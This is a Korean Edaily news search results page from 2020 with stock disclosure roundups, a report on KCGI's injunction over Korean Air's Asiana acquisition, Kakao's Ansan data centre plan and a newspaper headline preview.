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뉴스 검색결과 524건

  • 15일 장 마감 후 주요 종목 뉴스
  • [이데일리 원다연 기자] 다음은 15일 장 마감 후 주요 종목 뉴스다.△오파스넷(173130)=보통주 1주당 2주를 배정하는 무상증자를 결정했다고 공시. 신주는 보통주 783만4528주이며 증자 후 총 발행주식수는 1186만430주로 늘어난다. 상장예정일은 내년 1월 21일. △엘앤씨바이오(290650)=보통주 1주당 50원의 현금 결산배당을 결정했다고 15일 공시 배당금 총액은 10억9385만원. 배당기준일은 오는 31일. △알리코제약(260660)=보통주 1주당 0.05주를 배정하는 무상증자를 결정했다고 15일 공시. 신주는 보통주 49만1079주이며 증자 전 발행주식총수는 982만1575주. 신주배정기준일은 2021년 1월 1일, 신주상장예정일은 2021년 1월 22일. △알리코제약(260660)(260660)=보통주 1주당 100원의 현금 결산배당을 결정했다고 15일 공시. 배당금 총액은 9억5760만원. 배당기준일은 오는 31일. △삼강엠앤티(100090)=철강업체 아르셀로미탈(ArcelorMittal)와 105억6259만원 규모의 해상풍력용 파이프 제작 계약을 맺었다고 15일 공시. 계약금액은 지난해 연결 매출액의 2.75%에 해당하며 계약기간은 지난 14일부터 내년 7월 7일까지. △유니온커뮤니티(203450)=보통주 1주당 70원의 현금 결산배당을 결정했다고 15일 공시. 배당금 총액은 9억3972만원. 배당기준일은 오는 31일. △대한그린파워(060900)=경주산업단지풍력발전과 48억6000만원 규모의 풍력발전기 기자재 공급계약을 체결했다고 15일 공시. 계약금액은 지난해 연결 매출액의 30.96%에 해당하며 계약기간은 오는 28일부터 내년 12월 말까지. 대한그린파워 측은 “경주 강동풍력발전단지의 4.2MW급 풍력발전기에 납품하는 계약”이라고 전했음. △스타모빌리티(158310)=인수합병(M&A) 우선협상 대상자로 참존생활건강컨소시엄이 선정됐다고 15일 공시. 앞서 스타모빌리티는 지난 6월 9일 회생절차 개시를 신청해 6월 11일 보전처분 결정, 7월 15일부터 회생절차에 들어갔음. 이후 스타모빌리티는 수원지방법원 제4파산부로부터 인가전 M&A 추진을 허가 받았고, M&A용역주관사인 삼일회계법인과 M&A절차를 진행. 스타모빌리티 측은 “향후 우선협상대상자 선정에 따른 양사 간의 양해각서(MOU) 체결은 추후 법원의 허가를 받아 진행될 예정”이라고 전했음. △삼강엠앤티(100090)= 조달청(수요기관 해양경찰청)으로부터 697억4800만원 규모의 20년 추경 3000톤급 경비함 1척 건조 계약을 체결했다고 15일 공시. 계약금액은 지난해 연결 매출액의 18.14%에 해당하며 계약기간은 지난 14일부터 오는 2024년 5월 27일까지. △지어소프트(051160)=100억원 규모의 9회차 무기명식 무보증 사모교환사채(EB)를 발행하기로 결정했다고 15일 공시. 교환사채 발행은 운영자금 조달을 위함. 표면이자는 0.0%이며, 별도의 이자지급기일은 없음. 교환가액은 45만5835원으로 교환비율은 100%. 사채만기일은 오는 2025년 12월 17일. 교환대상은 오아시스의 발행 기명식 보통 주식이며 주식수는 2만1937주. 교환청구기간은 2020년 12월 18일부터 2025년 11월 17일까지. △한스바이오메드(042520)=200억원 규모의 4회차 무기명식 이권부 무보증 사모 전환사채(CB)를 발행하기로 결정했다고 15일 공시. 전환사채 발행은 운영자금 조달을 위함. 표면이자율과 만기이자율은 각각 0.0%, 2.6%. 전환가액은 1만2808원으로 전환비율은 100%. 사채만기일은 오는 2023년 12월 18일. 전환대상은 한스바이오메드 기명식 보통주식이며 주식수는 156만1524주. 전환청구기간은 2021년 12월 18일부터 2023년 12월 11일까지.△민앤지(214180)=보통주와 전환우선주 1주당 340원의 현금 결산배당을 결정했다고 15일 공시. 배당금 총액은 41억3423만원. 배당기준일은 오는 31일. △오스템임플란트(048260)=200억원 규모의 한스바이오메드의 전환사채(CB)를 취득했다고 15일 공시. 취득 목적에 대해 회사 측은 사업 안정성 유지를 위해서라고 밝혔음. 취득액은 자기자본의 13.9%에 해당. △이지웰(090850)=현대그린푸드와 최대주주 변경을 수반하는 주식양수도 계약을 체결했다고 15일 공시. 현대그린푸드는 김상용외 6인으로부터 보통주 671만996주(지분 28.26%)를 양수. 인수가액은 총 1250억원이며 최대주주 변경은 내년 1월 25일에 이뤄질 예정. △세틀뱅크(234340)=보통주 1주당 350원의 현금 결산배당을 결정했다고 15일 공시. 배당금 총액은 30억2439만원. 배당기준일은 오는 31일. △넵튠(217270)=100억원 규모의 님블뉴런의 전환사채(CB)를 취득하기로 결정했다고 15일 공시. 무보증 사모 전환사채 취득으로 취득액은 자기자본의 16.47%에 해당하는 규모. 사채 표면이자율과 만기이자율은 모두 0%이며 사채 만기일은 오는 2025년 12월 15일까지. 전환가액은 2만2000원으로 전환비율은 100%. 전환청구기간은 내년 12월 15일부터 2025년 11월 15일까지. △세코닉스(053450)=계열사 세코닉스 폴란드(SEKONIX POLAND)에 대해 105억9952만원 규모의 채무보증을 결정했다고 15일 공시. 채무보증 금액은 자기자본 대비 9.65%에 해당하며, 채무보증기간은 오는 27일부터 2021년 12월 27일까지. 회사 측은 “이번 채무보증은 지난 2월 12일 공시한 세코닉스 폴란드에 대한 채무보증의 연장결정 건”이라고 밝힘. △테라셈(182690)=타법인 증권 취득자금 마련을 위해 99억9999만원 규모의 제3자배정 유상증자를 실시한다고 15일 공시. 신주 발행가액은 주당 2573원이며 상장 예정일은 내년 2월 15일. 제3자배정 대상자는 시너스트. △액토즈(052790)게임즈=종속사인 Actoz Soft Hong Kong Limited가 카카오게임즈 주식 64만3670주를 처분했다고 15일 공시. 처분액은 284억3734만원이며 이는 지배회사의 연결자산총액대비 16.2%에 해당. 처분 목적에 대해 회사 측은 “해외 비즈니스 및 투자 확대를 위한 자금 확보를 위해서다”고 전함. △솔트웍스(230980)=에이트원으로 상호를 변경한다고 15일 공시. 회사 측은 “가상현실(VR), 증강현실(AR) 기술 기반 기업에서 VR과 AR을 아우르는 인공지능(AI) 플랫폼 기업으로 기업 정체성 재정립하기 위해 상호를 변경한다”고 전함. △팬오션(028670)=액화천연가스(LNG) 운반선 2척 건조를 위해 4067억원을 투자한다고 15일 공시. 투자금액은 자기자본의 14.03%에 해당. 투자 목적에 대해 회사 측은 “LNG 운송 사업 확대를 위해서다”고 전함. △팬오션(028670)=싱가포르 업체(Shell Tankers Private Limited)와 3340억5328만원 규모의 액화천연가스(LNG)선 2척 장기 대선계약을 맺었다고 15일 공시. 계약금액은 최근 매출액의 13.54%에 해당하며 계약기간은 오는 2024년 9월 15일부터 2031년 10월 15일까지. 회사 측은 “기본 계약기간은 7년이며, 계약상대방은 각 3년씩 2차례 계약 연장에 대한 옵션을 행사할 수 있다”고 전함. △위지트(036090)=운영자금 마련을 위해 44억5999만원 규모의 제3자배정 유상증자를 실시한다고 15일 공시. 신주 발행가액은 주당 1009원(기준 주가에 대한 할인율 10%)이며 상장 예정일은 내년 1월 12일. 제3자배정 대상자는 글로벌텍스프리. △네오펙트(290660)=웨버인스트루먼트 주식 1만2300주를 취득한다고 15일 공시. 취득액은 36억800만원 규모이며 이는 자기자본의 20.52%에 해당. 취득 후 소유주식수는 1만5300주이며 지분율은 51%. 회사 측은 “손익분기점 조기달성 실현, 신사업 진출 및 경영상 시너지 효과를 위해 지분을 추가로 취득한다”고 전함. △디오스텍(196450)=채무금액 전액 상환 및 질권 설정 해지로 인해 최대주주 변경을 수반하는 주식 담보제공 계약을 해제한다고 15일 공시. 해소된 담보 제공 주식수는 318만6744주이며 해소된 담보설정 금액은 16억6666만원.△한송네오텍(226440)=최대주주 보유지분 상승으로 담보권 전부 실행 시에도 최대주주 변경 가능성이 해소됐다며 최대주주 변경을 수반하는 주식 담보제공 계약을 해제한다고 15일 공시.△이지케어텍(099750)=118억원 규모 전남대학교병원 차세대 통합 병원정보시스템 구축 계약을 체결했다고 15일 공시. 계약금액은 지난해 연결 매출액의 18.25%에 해당하며 계약기간은 내년 1월 4일부터 2022년 11월 3일까지. △네오펙트(290660)=운영자금 마련을 위해 10억원 규모의 제3자배정 유상증자를 실시한다고 15일 공시. 제3자배정 대상자는 모성희씨. 이번 증자는 상환전환우선주로 발행. 보통주로 1대 1 전환이 가능하며 최종 발행가액은 3550원. 전환으로 발행할 주식수는 28만1691주. 상환기간은 오는 2023년 12월 24일부터 2030년 12월 23일까지이며, 전환청구기간은 2021년 12월 24일부터 2030년 12월 23일까지. △한국거래소 코스닥시장본부=휘닉스소재(050090)의 주가 급등과 관련해 구체적인 내용에 대한 조회공시를 15일 요구. 답변시한은 오는 16일 오후 6시까지. △한국거래소 코스닥시장본부=아리온(058220)에 대해 단일판매·공급계약의 장기간 이행 지연(50% 미만)을 이유로 불성실공시법인으로 지정 예고한다고 15일 밝혔음. 불성실공시법인 지정 여부 결정 시한은 내년 1월 11일까지이며 최근 1년간 부과 벌점은 24.2점. △태영건설(009410)=경기도청 북부청사와 도봉산-옥정 광역철도 3공구 건설공사 계약을 체결했다고 15일 공시. 계약금액은 1036억원 규모로 2019년 매출 대비 2.64%에 해당. 계약기간은 오는 21일부터 2025년 11월 24일까지.△한미사이언스(008930)=보통주 1주당 0.02주를 배정하는 무상증자를 결정했다고 15일 공시. 신주의 배정 기준일은 내년 1월 1일이며 상장 예정일은 내년 1월 22일. △한국조선해양(009540)=액화천연가스(LNG)운반선 2척, 초대형 원유운반선(VLCC) 2척 등 총 6000억원 규모의 선박 4척을 수주했다고 15일 공시.
2020.12.15 I 원다연 기자
대한항공·아시아나항공 '빅딜' 25일 운명의 날
  • 대한항공·아시아나항공 '빅딜' 25일 운명의 날
  • [이데일리 이소현 기자] 대한항공(003490)의 아시아나항공(020560) 인수 자체를 무산시킬 수 있는 소송 결과에 따라 국내 항공업 구조재편의 향배가 판가름 난다. 한진그룹 경영권을 두고 조원태 한진그룹 회장과 대립해온 행동주의 사모펀드(PEF) KCGI가 한진칼의 제3자 배정 유상증자를 막기 위해 제기한 신주발행금지 가처분 신청에 대한 법원 심문이 오는 25일 열린다. KCGI가 신청한 가처분 신청이 이날 법원에서 인용된다면 대한항공의 아시아나항공 인수는 백지화될 가능성이 커 역대급 항공업계 구조재편에서 운명의 날이 될 전망이다.◇아시아나 인수 제동 건 KCGI, 소송이 첫 고비 22일 업계에 따르면 서울중앙지법 민사합의50부는 오는 25일 오후 5시 서울중앙지법에서 KCGI가 신청한 ‘한진칼의 제3자 배정 유상증자 결의에 대해 신주발행금지 가처분’ 심문을 진행한다.이날 KCGI를 비롯해 한진칼과 산업은행 등 대한항공-아시아나항공 인수전과 관련된 이해관계자들이 총출동해 한진칼의 제3자 배정 유상증자 결의에 대한 정당성 여부를 다툰다.다음 달 2일이 산은의 한진칼 유상증자 납입일이기 때문에 증자 일정 등을 고려할 때 심문은 이날 한 번으로 종결되고, 늦어도 다음 달 1일까지는 법원의 판단이 나올 것으로 예상한다.앞서 한진그룹 지주사인 한진칼과 대한항공은 지난 16일 아시아나항공을 인수하겠다고 밝혔다. 코로나19 장기화로 경영난인 가운데 항공산업의 구조개편을 위한 고육지책이었다. 한진칼은 산은을 상대로 5000억원 규모의 제3자 배정 유상증자를 실시함과 동시에 3000억원 규모의 EB(교환사채)를 사모방식으로 발행, 총 8000억원을 지원받기로 했다.대한항공의 아시아나항공 인수 발표 후 이틀만인 지난 18일 KCGI는 제동을 걸었다. 산은이 참여하는 한진칼의 5000억원 규모 제3자배정 유상증자에 대한 신주 발행을 무효로 해달라는 가처분 신청 냈다.KCGI는 현재 반도건설, 조현아 전 대한항공 부사장 등과 연대한 ‘3자 주주연합’을 구성해 조 회장과 경영권을 두고 대립 중인데 산은이 제3자 유상증자를 통해 한진칼 지분을 확보하게 되면 경영권 분쟁에서 불리하게 작용할 수 있다고 판단해서다.실제 KCGI는 한진칼 지분을 꾸준히 늘려왔다. 최근일 기준으로 KCGI와 조현아 전 대한항공 부사장, 반도건설 등 3자 연합의 지분율은 46.71%(신주인수권 포함)로 조 회장 측(41.4%, 우호지분 포함)을 웃돈다. 산은이 한진칼에 출자하면 보유지분이 희석될 수밖에 없고, 조 회장의 우호세력으로 경영권·지배권 방어를 위한 수단이 될 수 있다고 판단해서 산은의 출자를 강하게 반대했다.[이데일리 이미나 기자]대한항공·아시아나항공 통합 계획안◇‘경영권 방어’ 인용 vs ‘경영상 목적 달성’ 기각KCGI가 신청한 가처분 신청이 오는 25일 법원에서 인용된다면 대한항공의 아시아나항공 인수는 무산될 가능성이 크다. 대한항공도 코로나19 장기화로 자체 운영자금 조달이 힘들어 산은의 투자가 없다면, 아시아나항공 인수자금을 확보하기 어렵기 때문이다.관건은 법원이 이번 신주 발행의 목적을 어떻게 판단하느냐에 달렸다. 신주 발행이 기존 주주의 신주인수권을 침해하고, 시급한 경영상의 필요성이 없는데 조 회장의 ‘경영권을 방어할 목적’이라고 보면 가처분 신청이 인용될 가능성이 크다. 반대로 코로나19로 위기에 빠진 항공업계 재편을 위한 ‘경영상 목적 달성을 위한 조치’였다는 점을 인정받으면 가처분 신청을 인용할 가능성은 작다.산은이 경영 성과가 미흡하면 조 회장을 경영 일선에서 퇴진시키고, 한진칼 사외이사 3인 선임권을 쥔 데다 주요 경영사항에 대해 산업은행과 사전협의를 얻도록 하는 등 소위 ‘7대 의무’를 부여한 점도 경영권 방어로 해석하기 어렵게 하는 요인이다.아울러 이번 가처분 신청과 별개로 대한항공과 KCGI는 각각 아시아나항공 인수 성공과 저지를 위한 단계를 밟고 있다.KCGI는 지난 20일 한진칼에 신규 이사의 선임과 정관 변경안 건으로 임시주주총회 소집을 청구했다. 임시주총에서 아시아나항공 인수를 주도하고 결정한 이사회의 책임을 묻고 전문성과 독립성을 겸비한 신규 이사로 이사회의 다수를 구성하겠다는 계획이다. 한진칼이 임시주주총회 소집을 수용하지 않으면 법원의 허가를 받아 총회를 소집한다는 방침이다.대한항공은 아시아나항공 인수 작업을 위한 실사단을 구성했다. 우기홍 대한항공 사장은 지난 20일 “서류 실사 진행 후 대면 인터뷰나 현장 실사를 할 계획”이라며 “회계부터 실무까지 고루 살피고, 마일리지 통합 부분도 실사단 파견 후 확인될 것”이라고 말했다. 대한항공은 실사단 파견 후 중복노선 조정, 인력 재배치, 사명 변경 등을 준비한다는 방침이다.
2020.11.22 I 이소현 기자
카카오, 안산에 첫번째 데이터센터 짓는다..클라우드 시장도 진출
  • 카카오, 안산에 첫번째 데이터센터 짓는다..클라우드 시장도 진출
  • [이데일리 김현아 기자] 카카오(035720)가 설립한 지 10년 만에 데이터센터(IDC)를 짓기로 했다. 4000억원의 사업비를 투입해 경기도 안산시 한양대 캠퍼스혁신파크 부지에 데이터센터와 산학협력시설을 만든다.카카오는 KT 목동 IDC 등에 서버를 두고 서비스를 하고 있지만, 자체 IDC가 생기면 서버와 네트워크 운용에서 관리의 효율성이 증가해 안정성과 확장성이 좋아지고 여러 통신사 회선이 들어와 망이용대가(단가)도 줄어들 것으로 보인다.특히 카카오의 첫번째 데이터센터는 서버 12만대를 관리할 수 있는 하이퍼스케일(hyperscale)이어서 클라우드 사업과 시너지도 크다.카카오 안산 IDC는 올해 하반기에 건축 설계를 마무리하고 건축 인허가 등을 거쳐 2021년 착공해 2023년 준공이 목표다. 안산시 상록구 사동 1271 한양대 캠퍼스혁신파크 내 일원 1만 8383㎡ 규모 부지에 만들어진다.이를 위해 7일 경기도청에서 이재명 경기도지사, 윤화섭 안산시장, 김우승 한양대 총장, 여민수 카카오 대표이사 등이 참석한 가운데 안산시와 한양대 에리카 캠퍼스가 ‘카카오 데이터센터 및 산학협력시설 건립을 위한 양해각서’를 체결했다. 데이터센터의 금융자문에는 카카오페이증권이 참여한다.▲카카오 안산 데이터센터 위치서버 12만대 보관하는 초대형 센터데이터센터는 서버, 네트워크, 스토리지, 네트워크 기기 등을 제공하는 통합 관리 시설로 데이터를 수집하고 운영하기 위한 핵심 인프라다.카카오 데이터센터는 하이퍼스케일(hyperscale data·10만대 이상 서버를 운영할 수 있는 초대형 데이터센터)로 총 12만대의 서버를 보관할 수 있고, 저장 가능한 데이터량은 6EB(엑사바이트) 에 달한다.규모가 중요한 이유는 빅데이터와 AI(인공지능), 클라우드 사업 때문이다. 정보통신기획평가원(IITP)에 따르면 하이퍼스케일 데이터센터의 최대 강점은 수 천개, 수 만개의 서버들이 초고속 네트워크를 통해 함께 움직인다는 점이다. 기존 데이터센터가 전자상거래나 검색 등 특정 목적에 최적화된 것과 달리, 하이퍼스케일 데이터센터는 소프트웨어를 통한 분산처리 방식을 도입해 고객사 요청에 더 유동적으로 대응한다. 클라우드로 맞춤형 솔루션을 제공하는데 유리하다는 의미다.그래서 구글, 아마존, 페이스북 등이 최근 만드는 데이터센터는 대부분 하이퍼스케일 방식이다. 네이버의 첫번째 데이터센터인 ‘각 춘천’이나 2022년을 목표로 걸립 중인 ‘각 세종’(단일기업 세계 최대 규모)도 하이퍼스케일이다.▲왼쪽부터 윤화섭 안산시장 , 이재명 경기도지사, 카카오 여민수 대표이사, 한양대 김우승 총장이다.AI 빅데이터 클라우드 사업 인프라..데이터 주권 확보에 기여여민수 카카오 공동대표는 “안정성, 확장성, 효율성, 가용성, 보안성이 확보된 IT분야 최고의 데이터센터를 설계하는 게 목표”라면서 “데이터센터 건립은 카카오의 AI와 빅데이터, 클라우드 관련 산업이 발전하는 큰 계기가 될 것”이라고 밝혔다.전문가들은 아마존과 마이크로소프트 등 글로벌 기업들의 격전지가 된 클라우드 시장에서 데이터 주권을 확보하는 데 카카오 데이터센터가 기여할 것으로 기대했다.안산시, 한양대와 미래성장 산업 육성카카오 데이터센터가 들어서는 안산은 지난해 과학기술정보통신부가 안산사이언스벨리(ASV)를 강소연구개발특구로 지정한 곳이다. 안산은 ICT융복합 부품소재의 특화 거점으로 미래 산업 성장에 기여하고 있다. 한양대 에리카 캠퍼스는 캠퍼스 혁신파크 부지 내 카카오 데이터센터를 포함해 소규모 첨단산업단지 조성을 추진하고 있다.카카오는 데이터센터 건립을 계기로 안산시, 한양대와 협력해 미래 성장 산업을 키우고 안산 지역과의 상생을 추구한다. AI와 빅데이터를 비롯해 4차 산업, 클라우드 비즈니스 중심의 첨단 인프라로 삼는다는 목표다.
2020.09.07 I 김현아 기자
  • [재송]4일 장 마감 후 주요 종목뉴스
  • [이데일리 이소현 기자] 다음은 4일 장 마감 후 주요 종목뉴스다.△삼성바이오로직스(207940)= 미국 소재 제약사와 225억1864만원 규모의 바이오의약품 위탁생산계약을 체결.△한미약품(128940)= 미국 MSD와 비알코올성 지방간염 치료제 기술이전 계약을 체결.△쌍방울(102280)= 지오영과 708억원 규모의 마스크 공급계약을 체결.△핸즈코퍼레이션(143210)= 9월 15일 오전 10시 인천 서구의 본사 사옥에서 임시주주총회를 열 것을 이사회에서 결의.△SKC(011790)= 오는 7일 오전 10시 30분 올해 상반기 실적발표와 경영현황에 대한 기업설명회를 개최.△SK가스(018670)= 2분기 영업이익이 557억4600만원으로 전년동기에 비해 1.1% 감소.△리드코프(012700)= 연결 기준 올해 2분기 영업이익이 144억7800만원으로 전년 동기 대비 9.55% 감소.△알테오젠(196170)=언론에 보도된 1000억원 규모의 CPS(전환우선주) 발행과 관련해 내용은 검토 중이나 현재까지 구체적으로 결정된 바는 없다고 공시.△아이컴포넌트(059100)= 마스크, 나노섬유, 위생용품, 의약외품, 의료용품, 화장품 제조업·판매를 사업목적에 추가하는 정관 변경 건이 임시 주주총회를 통과.△한프(066110)=주주총회에서 결의된 내용의 취소를 요구하는 소송이 제기됐다고 공시.△인트론바이오(048530)= 올해 2분기 영업이익이 116억4700만원으로 전년 동기 대비 흑자전환.△엘앤에프(066970)= 주주배정후 일반공모방식의 유상증자 발행가액을 2만5050원으로 최종 확정.△이엔드디(101360)= 올해 2분기 영업이익이 58억6500만원으로 전년 동기 대비 182.2% 증가.△한류AI센터(222810)= 전(前) 대표이사 등의 횡령·배임혐의설에 대해 “접수증과 고소장을 입수하지 못해 내용을 파악하지 못했다”며 “현재 검찰에 고소장이 접수돼 있는 상태로 추후 변경되는 사항이나 확정되는 사실에 대해서 관련 사항을 즉시 공시할 예정”이라고 공시.△원익머트리얼즈(104830)= 올해 2분기 영업이익이 131억2400만원으로 전년 동기 대비 75.22% 증가.△디이엔티(079810)= 제이앤 무림 드림 신기술사업투자조합 등을 대상으로 150억원 규모의 유상증자를 결정. 이에 따라 전환우선주식 227만9627주가 발행. 이는 증자 전 발행주식 총수의 17.49%.△앤씨앤(092600)= 종속회사인 넥스트칩 지분 85만9831주(53억원)를 구주주 배정 유상증자 방식으로 취득하기로 결정. 취득 후 앤씨앤의 지분은 91.72%로 증가.△피제이메탈(128660)= 한국거래소 코스닥시장본부는 피제이메탈이 현저한 시황변동(주가 급등) 관련 공시규정상 공시대상이 존재하는지에 대한 조회공시를 요구. 공시 시한은 5일 오후 6시까지.△유니셈(036200)= 한국거래소 코스닥시장본부는 유니셈에 대해 현저한 시황변동(주가 급등) 관련 공시규정상 공시대상이 존재하는지에 대한 조회공시를 요구했다고 공시. 공시 시한은 5일 오후 6시까지.△디에이테크놀로지(196490)=10억원 규모의 전환사채(CB) 행사. 전환청구권 행사주식은 98만3048주로 발행주식 총수의 1.35%. 전환가액은 1007원. 상장예정일은 21일.△기업은행(024110)= 기획재정부는 최대주주로 있는 기업은행의 주식 7460만4900주(5923억4400만원 규모)를 신규 취득.△아리온(058220)= 채명진 현 대표이사가 최모 전(前) 대표이사를 특정경제범죄 가중처벌 등에 관한 법률 위반(배임) 혐의로 고소. 횡령 발생금액은 17억5200만원으로 자기자본의 6.31%.△원익머트리얼즈(104830)= 올해 2분기 영업이익이 131억2400만원으로 전년 동기 대비 75.22% 증가. 같은 기간 매출액과 당기순이익은 668억7000만원으로 40.30% 증가, 당기순이익은 37억1700만원으로 44.69% 감소.△베셀(177350)= 삼성증권, NH투자증권, 이브리오리서치를 대상으로 20억원 규모의 전환사채(CB)를 발행하기로 결정. 이는 2회사 CB를 조기상환하기 위한 것.△베셀(177350)= 20억원 규모의 자사주를 처분하기로 결정. 이는 자사주를 교환대상으로 하는 교환사채(EB)를 발행하기 위한 차원.△KD(044180)= 한국거래소 코스닥시장본부는 4일 기업심사위원회를 열고 KD의 2018사업연도와 2019사업연도 재감사의견이 적정으로 확인돼 감사의견 관련 형식적 상장폐지 사유가 해소됐음을 확인했다고 공시.△EMW(079190)= 한국거래소 코스닥시장본부는 4일 기업심사위원회를 열고 EMW의 2018사업연도와 2019사업연도 재감사의견이 적정으로 확인돼 감사의견 관련 형식적 상장폐지 사유가 해소됐음을 확인했다고 공시.△크로바하이텍(043590)= 한국거래소 코스닥시장본부는 4일 기업심사위원회를 열고 크로바하이텍에 2021년 4월 12일까지 개선기간을 부여하기로 했다고 4일 공시. 개선기간 중에는 매매거래 정지가 지속.
2020.08.05 I 이소현 기자
  • 4일 장 마감 후 주요 종목뉴스
  • [이데일리 이소현 기자] 다음은 4일 장 마감 후 주요 종목뉴스다.△삼성바이오로직스(207940)= 미국 소재 제약사와 225억1864만원 규모의 바이오의약품 위탁생산계약을 체결.△한미약품(128940)= 미국 MSD와 비알코올성 지방간염 치료제 기술이전 계약을 체결.△쌍방울(102280)= 지오영과 708억원 규모의 마스크 공급계약을 체결.△핸즈코퍼레이션(143210)= 9월 15일 오전 10시 인천 서구의 본사 사옥에서 임시주주총회를 열 것을 이사회에서 결의.△SKC(011790)= 오는 7일 오전 10시 30분 올해 상반기 실적발표와 경영현황에 대한 기업설명회를 개최.△SK가스(018670)= 2분기 영업이익이 557억4600만원으로 전년동기에 비해 1.1% 감소.△리드코프(012700)= 연결 기준 올해 2분기 영업이익이 144억7800만원으로 전년 동기 대비 9.55% 감소.△알테오젠(196170)=언론에 보도된 1000억원 규모의 CPS(전환우선주) 발행과 관련해 내용은 검토 중이나 현재까지 구체적으로 결정된 바는 없다고 공시.△아이컴포넌트(059100)= 마스크, 나노섬유, 위생용품, 의약외품, 의료용품, 화장품 제조업·판매를 사업목적에 추가하는 정관 변경 건이 임시 주주총회를 통과.△한프(066110)=주주총회에서 결의된 내용의 취소를 요구하는 소송이 제기됐다고 공시.△인트론바이오(048530)= 올해 2분기 영업이익이 116억4700만원으로 전년 동기 대비 흑자전환.△엘앤에프(066970)= 주주배정후 일반공모방식의 유상증자 발행가액을 2만5050원으로 최종 확정.△이엔드디(101360)= 올해 2분기 영업이익이 58억6500만원으로 전년 동기 대비 182.2% 증가.△한류AI센터(222810)= 전(前) 대표이사 등의 횡령·배임혐의설에 대해 “접수증과 고소장을 입수하지 못해 내용을 파악하지 못했다”며 “현재 검찰에 고소장이 접수돼 있는 상태로 추후 변경되는 사항이나 확정되는 사실에 대해서 관련 사항을 즉시 공시할 예정”이라고 공시.△원익머트리얼즈(104830)= 올해 2분기 영업이익이 131억2400만원으로 전년 동기 대비 75.22% 증가.△디이엔티(079810)= 제이앤 무림 드림 신기술사업투자조합 등을 대상으로 150억원 규모의 유상증자를 결정. 이에 따라 전환우선주식 227만9627주가 발행. 이는 증자 전 발행주식 총수의 17.49%.△앤씨앤(092600)= 종속회사인 넥스트칩 지분 85만9831주(53억원)를 구주주 배정 유상증자 방식으로 취득하기로 결정. 취득 후 앤씨앤의 지분은 91.72%로 증가.△피제이메탈(128660)= 한국거래소 코스닥시장본부는 피제이메탈이 현저한 시황변동(주가 급등) 관련 공시규정상 공시대상이 존재하는지에 대한 조회공시를 요구. 공시 시한은 5일 오후 6시까지.△유니셈(036200)= 한국거래소 코스닥시장본부는 유니셈에 대해 현저한 시황변동(주가 급등) 관련 공시규정상 공시대상이 존재하는지에 대한 조회공시를 요구했다고 공시. 공시 시한은 5일 오후 6시까지.△디에이테크놀로지(196490)=10억원 규모의 전환사채(CB) 행사. 전환청구권 행사주식은 98만3048주로 발행주식 총수의 1.35%. 전환가액은 1007원. 상장예정일은 21일.△기업은행(024110)= 기획재정부는 최대주주로 있는 기업은행의 주식 7460만4900주(5923억4400만원 규모)를 신규 취득.△아리온(058220)= 채명진 현 대표이사가 최모 전(前) 대표이사를 특정경제범죄 가중처벌 등에 관한 법률 위반(배임) 혐의로 고소. 횡령 발생금액은 17억5200만원으로 자기자본의 6.31%.△원익머트리얼즈(104830)= 올해 2분기 영업이익이 131억2400만원으로 전년 동기 대비 75.22% 증가. 같은 기간 매출액과 당기순이익은 668억7000만원으로 40.30% 증가, 당기순이익은 37억1700만원으로 44.69% 감소.△베셀(177350)= 삼성증권, NH투자증권, 이브리오리서치를 대상으로 20억원 규모의 전환사채(CB)를 발행하기로 결정. 이는 2회사 CB를 조기상환하기 위한 것.△베셀(177350)= 20억원 규모의 자사주를 처분하기로 결정. 이는 자사주를 교환대상으로 하는 교환사채(EB)를 발행하기 위한 차원.△KD(044180)= 한국거래소 코스닥시장본부는 4일 기업심사위원회를 열고 KD의 2018사업연도와 2019사업연도 재감사의견이 적정으로 확인돼 감사의견 관련 형식적 상장폐지 사유가 해소됐음을 확인했다고 공시.△EMW(079190)= 한국거래소 코스닥시장본부는 4일 기업심사위원회를 열고 EMW의 2018사업연도와 2019사업연도 재감사의견이 적정으로 확인돼 감사의견 관련 형식적 상장폐지 사유가 해소됐음을 확인했다고 공시.△크로바하이텍(043590)= 한국거래소 코스닥시장본부는 4일 기업심사위원회를 열고 크로바하이텍에 2021년 4월 12일까지 개선기간을 부여하기로 했다고 4일 공시. 개선기간 중에는 매매거래 정지가 지속.
2020.08.04 I 이소현 기자
  • [미리보는 이데일리 신문]‘고소득자 1.8조 더 내라’..세수펑크에 또 부자증세
  • [이데일리 김영환 기자] 다음은 23일자 이데일리 신문 주요 기사다. △1면 -‘고소득자 1.8조 더 내라’..세수펑크에 또 부자증세-넉달 새 2배..사상최대 ‘빚투’ “동학개미, 리스크 관리 나서야”-의대 정원 10년간 4000명 늘린다..공공의대도 설립-‘졸업하면 뭐하나’ 청년 166만명 일자리 못 구해△줌인&-‘상장 대박 SK바이오팜의 딜레마..美공략 급한데 회사 뜨는 직원들-한경연 “2060년 생산가능인구 반토막..노년부양비 4.5배로 뛰어”△주식 신용융자 13.6조 사상 최대-포스트코로나 관련주 성장 확신..증시 고점 논란에도 빚 내 투자-신용융자 한도 꽉 찬 증권사들..리스크 관리 나서-빚 내 실탄 마련한 개미들..제약·바이오주 가장 많이 담아△2020세법개정안-주식 양도차익 5000만원까지 비과세..증권가 “증시로 자금유입 기대”-국회로 넘어간 종부세·양도세·취득세 세부담 더 늘 듯-가족 법인, 배당 않고 돈 쌓아두면 ’소득세‘ 물린다△2020세법개정안-연소득 10억 넘으면 소득세율 42→45%..초고소득층 증세 가속화-기업 투자 유도 감세카드 내놨지만 법인세 인하는 빠져 효과 미지수-간이과세 대상 대폭 확대..자영업 세부담 줄인다△행정수도 여야 힘겨루기-민주 “충청민심 잡아 정권 재창출”..통합 “여 악재 다 집어삼켜” 부글-정진석·장제원 등 “전향적 검토”..통합당 ’찬성론‘ 솔솔-행정수도 이전 찬성 54% 광주전라·2030서 높아△정치靑, 참모진 후임자 인사 검증 마무리 단꼐..개각 이어질 가능성도-이해찬 “원팀 잊지 말라” 당내 ’무공천 논란‘ 진화-김태흠 “지금 싸우러 나왔나”..추미애 “망신주기 삼가라”-오세훈 “통합당, 남북관계 정치적 이용 멈춰야 외연 확장”-유엔 “韓정부 탈북단체 압박 우려”-통합당, 2년만에 여의도 복귀 국회 앞 새 중앙당 당사 마련△EU ’코로나기금 1034조‘ 합의했지만..“빚만 불린다” 비판 목소리-트럼프, 코로나19 태도 전환 “더 나빠질테니 마스크 써라”-美 “휴스턴 中총영사관 72시간내 폐쇄하라” 요구△경제-수도권 경제 쏠림 심화..국내생산 절반은 경기·서울·인천서 나온다-’달러값 떨어졌을 때 사자‘ 6월 외화예금 사상 최대-현장조사 2→4개월 확대..공공기관 고객만족도 조작 막는다△금융-아쉬울 것 없는데..삼성화재, 네이버와 손 잡을까-BC카드 마침내 케뱅 